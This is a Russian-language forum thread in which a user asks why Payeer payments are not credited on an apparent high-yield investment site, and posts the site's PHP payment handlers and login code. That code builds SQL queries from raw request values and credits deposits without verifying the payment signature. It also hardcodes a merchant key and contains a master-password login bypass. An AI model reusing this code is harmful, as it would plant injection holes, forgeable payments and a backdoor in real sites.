ПРОБЛЕМА Не зачисляет на сайт

Kreativne

Участник
Добрый вечер,установил скрипт прописал ключ,id мерчанта
Делаю тестовое пополнения от юзера id 3,в мерчант приходят деньги а на сайт не приходят пишет вот такую ошибку: Ошибка создания вклада!, проверьте данные или свяжитесь с администрацией

PHP:
Успешная оплата

<?php
error_reporting(0);
// error_reporting(E_ALL);

ini_set('session.use_cookies', 'On');
ini_set('session.use_trans_sid', 'Off');
ini_set('session.gc_maxlifetime',7200);
ini_set('session.cookie_lifetime',7200);
session_set_cookie_params(7200, '/');

session_start();

include('conf.php');

$site=$_SERVER['HTTP_HOST'];

@mysql_query('set character_set_client="cp1251"');
@mysql_query('set character_set_results="cp1251"');
@mysql_query('set collation_connection="cp1251_general_ci"');

// $_REQUEST = unserialize( file_get_contents( 'qqqqqqqqq.txt' ) );
// echo "<pre>";
// print_r($_REQUEST);


/*
Array (
        [m_operation_id] => 40010149
        [m_operation_ps] => 2609
        [m_operation_date] => 16.01.2015 00:33:54
        [m_operation_pay_date] => 16.01.2015 00:34:04
        [m_shop] => 35995144
        [m_orderid] => 1
        [m_amount] => 0.01
        [m_curr] => RUB
        [m_desc] => VXNlciBOYW1lOiAxMjNfU1VNTTogMC4wMV9Qcm9jZW50OiAxMTAl
        [m_status] => success
        [m_sign] => DB446561CE4AEBC0FD3136C5107A69CA5FF68D3BAD84C277304FCB800078D746
        [lang] => ru
        [PHPSESSID] => 44c9e8ed5856bc5ab4f5ef7c82420685 )

*/
$m_sign = $_REQUEST['m_sign'];
$Row = mysql_query("SELECT `m_sign` FROM `operations` WHERE `m_sign` = '".$m_sign."'");
$Rows = mysql_fetch_assoc($Row);

if ($Rows['m_sign'] == $m_sign) {
    die('HACKING ATTEMPT!!!<br>Your IP was sent to the administrator for blocking!');
}
if ( $_REQUEST['m_shop'] == $apiId && $_REQUEST['m_status'] == 'success' )
    {
        $to_batch = $m_sign;
        $desc = base64_decode( $_REQUEST['m_desc'] );
        $desc = explode( '_', trim( $desc ) );
        
        $user_name = explode( ': ', trim( $desc[0] ) );
        $user_name = trim( $user_name[1] );
        
        $SUMM = $_REQUEST['m_amount'];
        
        // $SUMM = 103;
        
        $Procent = $procent_yandex;
        
        $proc = $SUMM * ( $Procent / 100 );
        
        $time = time();       
        $time_2 = $time + ( 3600 * $kolvo_chasov );
                                ## ѕровер¤ем есть ли у нас реферер
                $sql_qw = "SELECT `ref` FROM `users` WHERE `login` = '" . $user_name . "'";
                $res_qw = mysql_query( $sql_qw );
                $res_qw = mysql_fetch_assoc( $res_qw );
                $res_qw = $res_qw['ref'];
                
                ## если есть реф, отсылаем ему 5% от суммы взноса
                $send_proc = '0.00';
                if (    trim( $res_qw ) != '' )
                    $send_proc = ( $SUMM / 100 ) * $d_ref;
                else
                    $res_qw = '';
                
                
        mysql_query("INSERT INTO
                                `operations` (
                                                `ologin`,
                                                `otype`,
                                                `osum`,
                                                `osum2`,
                                                `odate`,
                                                `odate2`,
                                                `oplan`,
                                                `operiod`,
                                                `oparts`,
                                                `ohours`,
                                                `opproc`,
                                                `oproc`,
                                                `oprofit`,
                                                `oref`,                                               
                                                `orefrbp`,
                                                `orefbonus`,
                                                `orefsum`,
                                                `orefback`,
                                                `orefproc`,
                                                `obatch`,
                                                `oback`,
                                                `o_type`,
                                                `out_type`,
                                                `m_sign`
                                )
                            VALUES (
                                                '" . $user_name . "',       
                                                        '3',                       
                                                        '" . $proc . "',           
                                                        '" . $SUMM . "',             
                                                        '" . $time_2 ."',           
                                                        '" . $time ."',               
                                                        '1',
                                                                                                                '" . $kolvo_chasov ."',                                           
                                                        '1',                               
                                                                                                                '" . $kolvo_chasov ."',                   
                                                        '" . $Procent ."',           
                                                        '" . $Procent ."',           
                                                        '" . $proc . "',           
                                                        '" . trim( $res_qw ) ."',                           
                                                        '0',                       
                                                        '0',                       
                                                        '" . $send_proc . "',                       
                                                        '0.00',                       
                                                                                                                '" . $d_ref . "',                       
                                                                                                                '" . $m_sign . "',       
                                                                                                                '',                           
                                                                                                                '',                           
                                                                                                                'payeer',
                                                                                                                '".$m_sign."'                                           
                                                
                            )"
        ) or die( mysql_error());
        mysql_query("UPDATE data SET `plus` = `plus`+".$SUMM);

?>
<script language="JavaScript">
    window.location.href = "<?php echo $domain_data['url'] ?>/success.html"
</script>
<?php
    }
else
    {
?>
<script language="JavaScript">
    alert( 'Ошибка создания вклада!, проверьте данные или свяжитесь с администрацией' );
    window.location.href = "<?php echo $domain_data['url'] ?>/?page=deposits"
</script>
<?php
    }
Обработчик

PHP:
<?php
// $_REQUEST = unserialize( file_get_contents( 'test.txt' ) );
// echo "<pre>";
// print_r($_REQUEST);



$array = array();
if (!in_array($_SERVER['REMOTE_ADDR'], array('185.71.65.92', '185.71.65.189', '149.202.17.210'))) return;
if ( isset( $_REQUEST['PAYMENT_AMOUNT'] ) && trim( $_REQUEST['PAYMENT_AMOUNT'] ) != '' )
    {
        // $m_shop = '380069659';
        $m_shop = '1091336369';
        $m_orderid = '1';
        $m_amount = number_format( trim( $_REQUEST['PAYMENT_AMOUNT'] ) , 2, '.', '');
        $m_curr = 'RUB';
        $m_desc = base64_encode(
                                'User Name: ' . trim( $_REQUEST['tmp_users'] ) . "_" .
                                'SUMM: ' . $m_amount . "_" .
                                'Procent: ' . trim( $_REQUEST['desc_plan'] ) . "%"
        
        );
        
        // $m_desc = base64_encode('test_111');
        // $m_key = '630788';
        $m_key = '4M7kLbdMLGT5NTea';
        
        
        
        $arHash = array(
            $m_shop,
            $m_orderid,
            $m_amount,
            $m_curr,
            $m_desc,
            $m_key
        );
        $sign = strtoupper( hash( 'sha256', implode(':', $arHash)));
        
        $array = array(
                        'm_shop' => $m_shop,
                        'm_orderid' => $m_orderid,
                        'm_amount' => $m_amount,
                        'm_curr' => $m_curr,
                        'm_desc' => $m_desc,
                        'm_sign' => $sign
        );
    }

$array = json_encode( $array );
        
echo $array;
 

Darek

Участник
Добрый вечер,установил скрипт прописал ключ,id мерчанта
Делаю тестовое пополнения от юзера id 3,в мерчант приходят деньги а на сайт не приходят пишет вот такую ошибку: Ошибка создания вклада!, проверьте данные или свяжитесь с администрацией

PHP:
Успешная оплата

<?php
error_reporting(0);
// error_reporting(E_ALL);

ini_set('session.use_cookies', 'On');
ini_set('session.use_trans_sid', 'Off');
ini_set('session.gc_maxlifetime',7200);
ini_set('session.cookie_lifetime',7200);
session_set_cookie_params(7200, '/');

session_start();

include('conf.php');

$site=$_SERVER['HTTP_HOST'];

@mysql_query('set character_set_client="cp1251"');
@mysql_query('set character_set_results="cp1251"');
@mysql_query('set collation_connection="cp1251_general_ci"');

// $_REQUEST = unserialize( file_get_contents( 'qqqqqqqqq.txt' ) );
// echo "<pre>";
// print_r($_REQUEST);


/*
Array (
        [m_operation_id] => 40010149
        [m_operation_ps] => 2609
        [m_operation_date] => 16.01.2015 00:33:54
        [m_operation_pay_date] => 16.01.2015 00:34:04
        [m_shop] => 35995144
        [m_orderid] => 1
        [m_amount] => 0.01
        [m_curr] => RUB
        [m_desc] => VXNlciBOYW1lOiAxMjNfU1VNTTogMC4wMV9Qcm9jZW50OiAxMTAl
        [m_status] => success
        [m_sign] => DB446561CE4AEBC0FD3136C5107A69CA5FF68D3BAD84C277304FCB800078D746
        [lang] => ru
        [PHPSESSID] => 44c9e8ed5856bc5ab4f5ef7c82420685 )

*/
$m_sign = $_REQUEST['m_sign'];
$Row = mysql_query("SELECT `m_sign` FROM `operations` WHERE `m_sign` = '".$m_sign."'");
$Rows = mysql_fetch_assoc($Row);

if ($Rows['m_sign'] == $m_sign) {
    die('HACKING ATTEMPT!!!<br>Your IP was sent to the administrator for blocking!');
}
if ( $_REQUEST['m_shop'] == $apiId && $_REQUEST['m_status'] == 'success' )
    {
        $to_batch = $m_sign;
        $desc = base64_decode( $_REQUEST['m_desc'] );
        $desc = explode( '_', trim( $desc ) );
    
        $user_name = explode( ': ', trim( $desc[0] ) );
        $user_name = trim( $user_name[1] );
    
        $SUMM = $_REQUEST['m_amount'];
    
        // $SUMM = 103;
    
        $Procent = $procent_yandex;
    
        $proc = $SUMM * ( $Procent / 100 );
    
        $time = time();   
        $time_2 = $time + ( 3600 * $kolvo_chasov );
                                ## ѕровер¤ем есть ли у нас реферер
                $sql_qw = "SELECT `ref` FROM `users` WHERE `login` = '" . $user_name . "'";
                $res_qw = mysql_query( $sql_qw );
                $res_qw = mysql_fetch_assoc( $res_qw );
                $res_qw = $res_qw['ref'];
            
                ## если есть реф, отсылаем ему 5% от суммы взноса
                $send_proc = '0.00';
                if (    trim( $res_qw ) != '' )
                    $send_proc = ( $SUMM / 100 ) * $d_ref;
                else
                    $res_qw = '';
            
            
        mysql_query("INSERT INTO
                                `operations` (
                                                `ologin`,
                                                `otype`,
                                                `osum`,
                                                `osum2`,
                                                `odate`,
                                                `odate2`,
                                                `oplan`,
                                                `operiod`,
                                                `oparts`,
                                                `ohours`,
                                                `opproc`,
                                                `oproc`,
                                                `oprofit`,
                                                `oref`,                                           
                                                `orefrbp`,
                                                `orefbonus`,
                                                `orefsum`,
                                                `orefback`,
                                                `orefproc`,
                                                `obatch`,
                                                `oback`,
                                                `o_type`,
                                                `out_type`,
                                                `m_sign`
                                )
                            VALUES (
                                                '" . $user_name . "',   
                                                        '3',                   
                                                        '" . $proc . "',       
                                                        '" . $SUMM . "',         
                                                        '" . $time_2 ."',       
                                                        '" . $time ."',           
                                                        '1',
                                                                                                                '" . $kolvo_chasov ."',                                       
                                                        '1',                           
                                                                                                                '" . $kolvo_chasov ."',               
                                                        '" . $Procent ."',       
                                                        '" . $Procent ."',       
                                                        '" . $proc . "',       
                                                        '" . trim( $res_qw ) ."',                       
                                                        '0',                   
                                                        '0',                   
                                                        '" . $send_proc . "',                   
                                                        '0.00',                   
                                                                                                                '" . $d_ref . "',                   
                                                                                                                '" . $m_sign . "',   
                                                                                                                '',                       
                                                                                                                '',                       
                                                                                                                'payeer',
                                                                                                                '".$m_sign."'                                       
                                            
                            )"
        ) or die( mysql_error());
        mysql_query("UPDATE data SET `plus` = `plus`+".$SUMM);

?>
<script language="JavaScript">
    window.location.href = "<?php echo $domain_data['url'] ?>/success.html"
</script>
<?php
    }
else
    {
?>
<script language="JavaScript">
    alert( 'Ошибка создания вклада!, проверьте данные или свяжитесь с администрацией' );
    window.location.href = "<?php echo $domain_data['url'] ?>/?page=deposits"
</script>
<?php
    }
Обработчик

PHP:
<?php
// $_REQUEST = unserialize( file_get_contents( 'test.txt' ) );
// echo "<pre>";
// print_r($_REQUEST);



$array = array();
if (!in_array($_SERVER['REMOTE_ADDR'], array('185.71.65.92', '185.71.65.189', '149.202.17.210'))) return;
if ( isset( $_REQUEST['PAYMENT_AMOUNT'] ) && trim( $_REQUEST['PAYMENT_AMOUNT'] ) != '' )
    {
        // $m_shop = '380069659';
        $m_shop = '1091336369';
        $m_orderid = '1';
        $m_amount = number_format( trim( $_REQUEST['PAYMENT_AMOUNT'] ) , 2, '.', '');
        $m_curr = 'RUB';
        $m_desc = base64_encode(
                                'User Name: ' . trim( $_REQUEST['tmp_users'] ) . "_" .
                                'SUMM: ' . $m_amount . "_" .
                                'Procent: ' . trim( $_REQUEST['desc_plan'] ) . "%"
    
        );
    
        // $m_desc = base64_encode('test_111');
        // $m_key = '630788';
        $m_key = '4M7kLbdMLGT5NTea';
    
    
    
        $arHash = array(
            $m_shop,
            $m_orderid,
            $m_amount,
            $m_curr,
            $m_desc,
            $m_key
        );
        $sign = strtoupper( hash( 'sha256', implode(':', $arHash)));
    
        $array = array(
                        'm_shop' => $m_shop,
                        'm_orderid' => $m_orderid,
                        'm_amount' => $m_amount,
                        'm_curr' => $m_curr,
                        'm_desc' => $m_desc,
                        'm_sign' => $sign
        );
    }

$array = json_encode( $array );
    
echo $array;
Возможно ошибка запрос к Базе. Перепроверь код или скинь отдельно часть кода с UPDATE в таблицу.
и Перепроверь настройки мерча. Возможно неправильный путь к обработчику.
 
Последнее редактирование:

Kreativne

Участник
Возможно ошибка запрос к Базе. Перепроверь код или скинь отдельно часть кода с UPDATE в таблицу.
и Перепроверь настройки мерча. Возможно неправильный путь к обработчику.
PHP:
    <?php
$b_plus_q=0;
$b_plus_b=0;
$b_withed=0;
$b_pended=0;
$b_refsum=0;
$b_refback=0;
$b_refs=0;
$b_activ=0;
$b_earned=0;
$b_acta=0;
$b_tot=0;
$b_otn=0;
$b_refbonus=0;

$reflist=array();

$depbtq=mysql_query("SELECT ologin,otype,osum,osum2,odate,odate2,operiod,oparts,ohours,opproc,oprofit,orefsum,orefback,obatch FROM operations WHERE (ologin='$u_login' AND osum>0 AND oback='') OR (oref='$u_login' AND osum>0  AND oback='')");
while($depbtm=mysql_fetch_row($depbtq)){

if($depbtm[0]!=$u_login && $depbtm[1]==3 && $depbtm[13]!=''){
if(!in_array($depbtm[0],$reflist)){
$b_refs++;
$reflist[]=$depbtm[0];
}
$b_refsum+=$depbtm[11];
}

if($depbtm[0]==$u_login && $depbtm[1]==3 && $depbtm[13]!=''){ $b_plus_q+=$depbtm[3]; $b_refback+=$depbtm[12]; }
if($depbtm[0]==$u_login && $depbtm[1]==3 && $depbtm[13]==''){ $b_plus_b+=$depbtm[3]; }

if($depbtm[0]==$u_login && $depbtm[1]==2 && $depbtm[5]!=''){ $b_withed+=$depbtm[2]; }
if($depbtm[0]==$u_login && $depbtm[1]==2 && $depbtm[5]==''){ $b_pended+=$depbtm[2]; }

if($depbtm[0]==$u_login && $depbtm[1]==3 && $depbtm[4]>$time){
$b_activ+=$depbtm[3];
$b_acta++;
$b_col=floor(($time-$depbtm[5])/($depbtm[6]*3600));
$b_earned+=$b_col*$depbtm[10];
}

if($depbtm[0]==$u_login && $depbtm[1]==3 && $depbtm[4]<=$time){
$b_earned+=$depbtm[2];
$b_otn+=$depbtm[3];
}

}


$b_tot=$b_refsum+$b_refback+$b_plus_q+$b_earned-$b_otn-$b_withed-$b_pended-$b_activ;

$b_tot=number_format($b_tot,2,'.','');

if(!empty($d_refbonus)){
foreach($d_refbonus as $rbon){
if($b_refs>=$rbon[0] && $b_refs<=$rbon[1]){
$b_refbonus=$rbon[2];
}
}
}

if($d_vklad==0){
// ====================================== ОПЕРАЦИЯ ВКЛАДЫВАНИЯ ==========================================

  if($b_tot<0) { echo "Balance error!!! $b_tot"; exit; }

  if(!empty($_POST['sum']) && !empty($_POST['payment_type'])){

  $depo=$_POST['sum'];
  $depo=preg_replace("#[^0-9\.]+#",'',$depo);
  $depo=preg_replace("#\.+#",'.',$depo);
  $payment_type=$_POST['payment_type'];

  if(empty($depo)){ $depo=0; }


  if(!is_numeric($depo)){ $d_e='<div class="alert bg-danger alert-dismissible mb-2" role="alert">
                                    <button type="button" class="close" data-dismiss="alert" aria-label="Close">
                                        <span aria-hidden="true">x</span>
                                    </button>
                                  <center> Введите корректную сумму.</center>
                                </div>'; }
  $depo=number_format($depo,2,'.','');
  if($b_acta>$d_acts-1){ $d_e='Разрешено не более '.$d_acts.' активных вкладов.'; }
  if($depo<0 && $_POST['payment_type'] != 'wm' or $depo<0){ $d_e='<div class="alert bg-danger alert-dismissible mb-2" role="alert">
                                    <button type="button" class="close" data-dismiss="alert" aria-label="Close">
                                        <span aria-hidden="true">x</span>
                                    </button>
                                  <center> Минимальная сумма вклада '.$d_min.' рублей</center>
                                </div>
                                .'; }
  if(empty($d_e) && ($b_activ+$depo)>$d_max){ $d_e='Сумма замороженных вкладов не должна превышать '.$d_max.' рублей.'; }

  if ($_POST['payment_type'] == 'qiwi' && empty($d_e)) {
      require 'cabinet/payment_pages/qiwi.php';
      exit;
  }
  if ($_POST['payment_type'] == 'card' && empty($d_e)) {
      require 'cabinet/payment_pages/frkassa.php';
      exit;
  }
  if ($_POST['payment_type'] == 'yandex' && empty($d_e)) {
      require 'cabinet/payment_pages/frkassa.php';
      exit;
  }
    if ($_POST['payment_type'] == 'frkassa' && empty($d_e)) {
      require 'cabinet/payment_pages/frkassa.php';
      exit;
  }
  if ($_POST['payment_type'] == 'payeer' && empty($d_e)) {
      require 'cabinet/payment_pages/payeer.php';
      exit;
  }
  if ($_POST['payment_type'] == 'wm' && empty($d_e)) {
      require 'cabinet/payment_pages/perfect.php';
      exit;
  }
  if ($_POST['payment_type'] == 'reinvest' && empty($d_e)) {
    if(empty($d_e) && $depo>$b_tot){ $d_e='На Вашем балансе недостаточно средств для вклада.'; }
  }


  if(empty($d_e)){

  $odate=$time+3600*$plan[$plan_id][1];
  $operiod=$plan[$plan_id][0];
  $oparts=$plan[$plan_id][1]/$plan[$plan_id][0];
  $ohours=$plan[$plan_id][1];
  $oproc=$plan[$plan_id][2];
  $opproc=str_replace('.00','',number_format($oproc/$oparts,2,'.',''));
  $oprofit=$depo*($opproc/100);

  $sum=number_format($depo*($oproc/100),2,'.','');


  mysql_query("INSERT INTO operations (ologin,otype,osum,osum2,odate,odate2,oplan,operiod,oparts,ohours,opproc,oproc,oprofit) VALUES ('$u_login','3','$sum','$depo','$odate','$time','$plan_id','$operiod','$oparts','$ohours','$opproc','$oproc','$oprofit')") or die('inserting batch data error');

  $b_tot-=$depo;
  $b_activ+=$depo;

  // ОБНОВЛЕНИЕ СУММЫ РЕИНВЕСТА И СПИСКА ВКЛАДОВ

  $resumq=mysql_query("SELECT SUM(osum2) FROM operations WHERE otype=3 AND osum2>0 AND obatch='' AND oback=''");
  $resumm=mysql_fetch_row($resumq);

  mysql_query("UPDATE data SET reinvest='$resumm[0]'") or die('cant insert reinvest sum');

  if($reinv_inc==1){
  $invreq=mysql_query("SELECT ologin,osum2 FROM operations WHERE otype=3 AND osum2>0 AND oback='' ORDER BY odate2 DESC LIMIT 10");
  $invren='';
  while($invrem=mysql_fetch_row($invreq)){
  $invrez=$reinv_s;
  $invrez=str_replace('#LOGIN#',$invrem[0],$invrez);
  $invrez=str_replace('#SUM#',$invrem[1],$invrez);
  $invren.=$invrez;
  }
  mysql_query("UPDATE data SET plus_n='$invren'") or die(mysql_error());
  }


// КОНЕЦ


}

}

}

if($u_ref!=''){
$rq=mysql_query("SELECT refback FROM users WHERE login='$u_ref'");
if(mysql_num_rows($rq)==0){ die('refback not found'); }
$rm=mysql_fetch_row($rq);
$orefrbp=$rm[0];
}

?>

<?php


include $_SERVER['DOCUMENT_ROOT']."/head_cab.php"; // $_SERVER['DOCUMENT_ROOT'] - указывает корневую директорию сайта

?><div class="container">
        
        <div class="panel panel-default">
    <div class="panel-body">
        <div class="col-md-3 nopaddingmd hidden-xs">
       <div class="list-group">
      <a class="list-group-item" style="background-color: #2B303B;color: #fff;">Ваш баланс: <b><?php echo number_format($b_tot,2,'.',','); ?> RUB</b></a>
        </div>
    <div class="list-group">
        <a class="list-group-item">Начислено: <b><?php echo str_replace('.00','',number_format($b_earned,2,'.',',')); ?> RUB</b></a>
        </div>
 

    <div class="list-group">
        <a class="list-group-item">Активные: <b><?php echo str_replace('.00','',number_format($b_activ,2,'.',',')); ?> RUB</b></a>
        </div>
    <div class="spec-rightfree hidden-xs">
               <div class="info-description">
                  <p>Для крупных клиентов <br><a href="/help">и реселлеров</a> доступны<br> хорошие скидки и акции.</p>
               </div>
               <a href="/ticket" class="butt">Узнать подробнее</a>
            </div>
</div>
                    <!--<div class="col-md-3 hidden-xs">
                <div class="block-payment-bonus">
                    <div class="payment-bonus-head"><span class="text-head">При пополнении на</span>
                        <div class="flag"><span>100руб</span></div>
                    </div>
                    <div class="price">
                        <h2>+7 руб</h2>
                        <h5>в подарок</h5>
                    </div>
                </div>
            </div>
                        <div class="col-md-3 hidden-xs">
                <div class="block-payment-bonus">
                    <div class="payment-bonus-head"><span class="text-head">При пополнении на</span>
                        <div class="flag"><span>1000руб</span></div>
                    </div>
                    <div class="price">
                        <h2>+77 руб</h2>
                        <h5>в подарок</h5>
                    </div>
                </div>
            </div>
                        <div class="col-md-3 hidden-xs">
                <div class="block-payment-bonus">
                    <div class="payment-bonus-head"><span class="text-head">При пополнении на</span>
                        <div class="flag"><span>10000руб</span></div>
                    </div>
                    <div class="price">
                        <h2>+777 руб</h2>
                        <h5>в подарок</h5>
                    </div>
                </div>
                </div>-->
                
                          <?php if($d_vklad==0){

$can_dep='Достигнут лимит суммы инвестирования';
if(($d_max-$b_activ)>=$d_min){
$can_dep='<div class="bs-example">
                                 <div class="alert alert-dismissable alert-warning" style="
    border-color: #ebccd1;
    color: #b52727;
">
                                    <h4 style="
    font-size: 20px;
">Обращаем внимание!</h4>
                                    <p>Сумма инвестирования возможна от '.$d_min.' рублей до '.($d_max-$b_activ).' Рублей</p>
                                 </div>
                              </div>';
$canmd=1;
}
?>

<?php if($d_vklad!=0){ ?>
<div class="deposits_error">Создание вкладов приостановлено</div>
<?php } ?>

<?php if(!empty($canmd)){ ?>
                
        <div class="col-md-5">
            <h3>Оплата нового вклада</h3>
            <form id="deposits_form" action="/?page=invest" method="post" class="form">
            <?php if(!empty($d_e)){ echo '<div class="deposits_error">'.$d_e.'</div>';} ?>
<input type="hidden" name="_csrf-frontend" value="CZUOwN_T2zTNSS5PhtaKvFARX93gVfdLFzTg5mxXH8Rj0lG6jKuafp8vHQLSgu2IOkIYt6s_mTJFZ7_UQR5ckw==">
            <div class="form-group field-payment-system has-success">
<label class="control-label" for="payment-system">Тип</label>

                    

<select id="payment_type" class="form-control" name="payment_type" aria-invalid="false">
                              <!--<option value="qiwi">Qiwi Wallet</option>-->
                              <!--<option value="yandex">Яндекс.Деньги</option>-->
                              <option value="payeer">Payeer</option>
                              <!--<option value="wm">PerfectMoney (в USD, минимум 0.1 USD)</option>-->
                              <!--<option value="card">VISA/MasterCard</option>-->
                               <!--<option value="frkassa">FreeKassa</option>-->
                              
</select>

<div class="help-block"></div>
</div>
            <div class="form-group field-paymentform-sum">
<label class="control-label" for="paymentform-sum">Сумма</label>
<input id="deposits_sum"  name="sum" type="text" autocomplete="off" class="form-control">

<div class="help-block"></div>
</div>
            <div class="form-group">
               <a href="javascript:with(document.getElementById('deposits_form')){ submit(); }" class="btn btn-primary">Оплатить вклад</a>
               </div>
        </form></div>
        
        <?php } } ?>
        
        
        <div class="col-md-4 hidden-xs">
            <blockquote class="blockquote-reverse">
                <p>Прочти перед оплатой</p>
                <small><p id="description">Внимание! После оплаты вклад создается автоматически в разделе "Мои вклады".</p>
                </small>
            </blockquote>
        </div>
                <div class="col-md-9 col-md-offset-3">
            <div class="currency-index">
                <h3>История пополнений</h3>
           <div class="table-responsive">
           <table class="table table-responsive">
           <div id="w0" class="grid-view">
<thead>

<tr>
<th>
<a  data-sort="id">Тип</a>
</th>

<th>
<a  data-sort="sum">Дата</a>
</th>

<th>
<a  data-sort="type">Статус</a>
</th>

<th>
<a  data-sort="date">Сумма</a>
</th>

<th>
<a  data-sort="date">Система</a>
</th>

<th>
<a  data-sort="date">Номер заявки</a>
</th>
</tr>

</thead>
<tbody>


<?php
$statsq=mysql_query("SELECT osum2,odate2,oplan,obatch,oback,osum,ohours,out_type FROM operations WHERE otype=3 AND ologin='$u_login' AND obatch!='' ORDER BY odate2 DESC");
while($statsm=mysql_fetch_row($statsq)){ ?>
                                                        <tr>
                                                              
                                                                                                                                
                                                                                        <?php
$type_transaction=$statsm[7];
if($type_transaction == 'qiwi') { $media_payment = '/icon/qiwi.png'; }
    else {
        if ($type_transaction == 'wm') {
            $media_payment = '/icon/perfectmoney.png';
        }
        else {
            if ($type_transaction == 'yandex') {
                $media_payment = '/icon/yancex.png';
            }
            else {
                if ($type_transaction == 'payeer') {
                    $media_payment = '/icon/payeer.png';
                }
                else {
                   if ($type_transaction == 'card') {
                        $media_payment = '/icon/card.png';
                   }
                   else {
                        $media_payment = 'Неизвестно';
                        }
                    }
                   }                   
            }
       } ?>
                                    
                                                        
                                                        
                                <td><i class="la la-dot-circle-o success font-medium-1 mr-1"></i> Пополнение</td>
                                <td><a><?php echo date('j '.$mdate[date('n',$statsm[1])-1].' H:i',$statsm[1]); ?></a></td>
                                <?php
                                if($statsm[5]=='0' && $statsm[4]==''){ echo '<td>Ожидание</td>'; }
if($statsm[5]=='0' && $statsm[4]==1){ echo '<td>К возврату</td>'; }
if($statsm[5]=='0' && $statsm[4]==2){ echo '<td>Возвращено</td>'; }
if($statsm[5]>0){ echo '<td style="color: #1dbb99;font-weight: bold;">Успешно</td>'; }
                                ?>
                                <td style="color: #1dbb99;font-weight: bold;">+ <?php if($statsm[0]>0){ echo str_replace('.00','',number_format($statsm[0],2,'.',',')).''; }else { echo '0'; }?> &#8381;</td>
                                <td>
                                   <img alt="" src="<?php echo $media_payment; ?>" style="width: 70%;margin-top: -2px;">
                                </td>
                                
                                <td><?php if($statsm[5]=='0' && $statsm[4]==2){echo '.$statsm[3].';}else{echo substr($statsm[3], 0, 16);}?></td>
                      
                            </tr>

                            <?php } ?>

 
</tbody></table>
          
          
            </div>
        </div>
    </div>
</div>
   </div>   </div>   </div> </div>


<?php


include $_SERVER['DOCUMENT_ROOT']."/cab_footer.php"; // $_SERVER['DOCUMENT_ROOT'] - указывает корневую директорию сайта

?>
PHP:
<?php

error_reporting(E_ALL);
ini_set("display_errors", 0);
ini_set("log_errors", 0);
 header('Content-type: text/html; charset=windows-1251');
ini_set('session.use_cookies', 'On');
ini_set('session.use_trans_sid', 'Off');
ini_set('session.gc_maxlifetime',7200);
ini_set('session.cookie_lifetime',7200);
session_set_cookie_params(7200, '/');

session_start();

include('conf.php');

$site=$_SERVER['HTTP_HOST'];

@mysql_query('set character_set_client="cp1251"');
@mysql_query('set character_set_results="cp1251"');
@mysql_query('set collation_connection="cp1251_general_ci"');

$time=time()+$time_move*3600;
$start_time=strtotime($start_data);
$work_time=floor(($time-$start_time)/(24*3600));


if($start_time-$time<=0){
if($d_isum!=0){
$d_max=$d_max+$d_isum*floor(($time-$start_time)/($d_itime*3600));
if($d_max>$d_istop){ $d_max=$d_istop; }
}
}

$req='';
if(!empty($_GET['page'])){
$req=$_GET['page'];
$req=str_replace('/?page=','',$req);
}

// ======================================== IP ====================================================================================

if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'),'unknown'))
$ip=getenv('HTTP_CLIENT_IP');
elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown'))
$ip=getenv('HTTP_X_FORWARDED_FOR');
elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv("REMOTE_ADDR"), 'unknown'))
$ip=getenv('REMOTE_ADDR');
elseif(!empty($_SERVER['REMOTE_ADDR']) && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown'))
$ip=$_SERVER['REMOTE_ADDR'];
else{$ip='unknown';}                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             



// ======================================== ??????? ???????? ====================================================================================

if(!empty($_GET['ref'])){
session_unset();
$_GET['ref']=preg_replace("#[^a-z\_\-0-9]+#i",'',$_GET['ref']);
if($_GET['ref']!=''){
$refq=mysql_query("SELECT login FROM users WHERE login='".$_GET['ref']."'");
if(mysql_num_rows($refq)>0){
$refm=mysql_fetch_row($refq);
$_SESSION['ref_login']=$refm[0];
}
}
}

// ======================================== ??????????? ====================================================================================

define('SID',session_id());

// ======================================== ??????? ????? ===============================================================================

function login($uname,$upass,$usen){

if($upass==$usen){
$q=mysql_query("SELECT login,ref,refback,name,avatar,email FROM users WHERE login='$uname'");
}
else{
$q=mysql_query("SELECT login,ref,refback,name,avatar,email FROM users WHERE login='$uname' AND pass='$upass'");
}

$user=mysql_fetch_row($q);

if(!empty($user)) {
session_unset();
$uname=$user[0];
$_SESSION['login']=$user[0];
$_SESSION['ref']=$user[1];
$_SESSION['refback']=$user[2];
$_SESSION['can']=1;
$_SESSION['reged']=1;
$_SESSION['name']=$user[3];
$_SESSION['avatar']=$user[4];
$_SESSION['email']=$user[5];
    global $ip;
    $ip_and_lastseen=mysql_fetch_assoc(mysql_query("SELECT ip, last_seen FROM users WHERE login='$uname'"));
    if ($ip_and_lastseen['ip']!=$ip && $ip_and_lastseen['last_seen']+300 < time()) {
        mysql_query("UPDATE users SET last_seen=".time().", ip=$ip WHERE login='$uname'");
    }
return true;
}
else{
return false;
}
}

// ======================================== ???? ???????????, ????? ?????? ?? ?????? ====================================================

if(!empty($_SESSION['login'])) {
define('USER_LOGGED',true);
$u_login=$_SESSION['login'];
$u_ref=$_SESSION['ref'];
$u_name=$_SESSION['name'];
$u_email=$_SESSION['email'];

    $ip_and_lastseen=mysql_fetch_assoc(mysql_query("SELECT ip, last_seen FROM users WHERE login='$u_login'"));
    if ($ip_and_lastseen['ip']!=$ip && $ip_and_lastseen['last_seen']+300 < time()) {
        mysql_query("UPDATE users SET last_seen='".time()."', ip='$ip' WHERE login='$u_login'");
    }
}
else { define('USER_LOGGED',false); }


// ======================================== ????? ?????? ?? ????? ??? ??????????? =======================================================

if (!empty($_POST['login']) && !empty($_POST['pass'])) {

$_POST['login']=preg_replace("#[^a-z\_\-0-9]+#i",'',$_POST['login']);
$_POST['pass']=preg_replace('#[^a-zA-Z\-\_0-9]+#','',$_POST['pass']);
$_POST['pass']=preg_replace('#^'.$salt.'#','',$_POST['pass']);

if($_POST['pass']!=$usen){
$_POST['pass']=md5($_POST['pass']);
}


if(login($_POST['login'],$_POST['pass'],$usen)){ header('Refresh: 0'); exit; }
else{ $wrong_lq=1; }
}


// ========================================  ?????? ?????  ==============================================================================

function count_online($ip,$time){
if($ip!='unknown'){
$ip=preg_replace("#[^0-9]+#i",'',$ip);
$last_time=$time+20*60;
$result=mysql_query("SELECT last_time FROM online WHERE ip='$ip'");
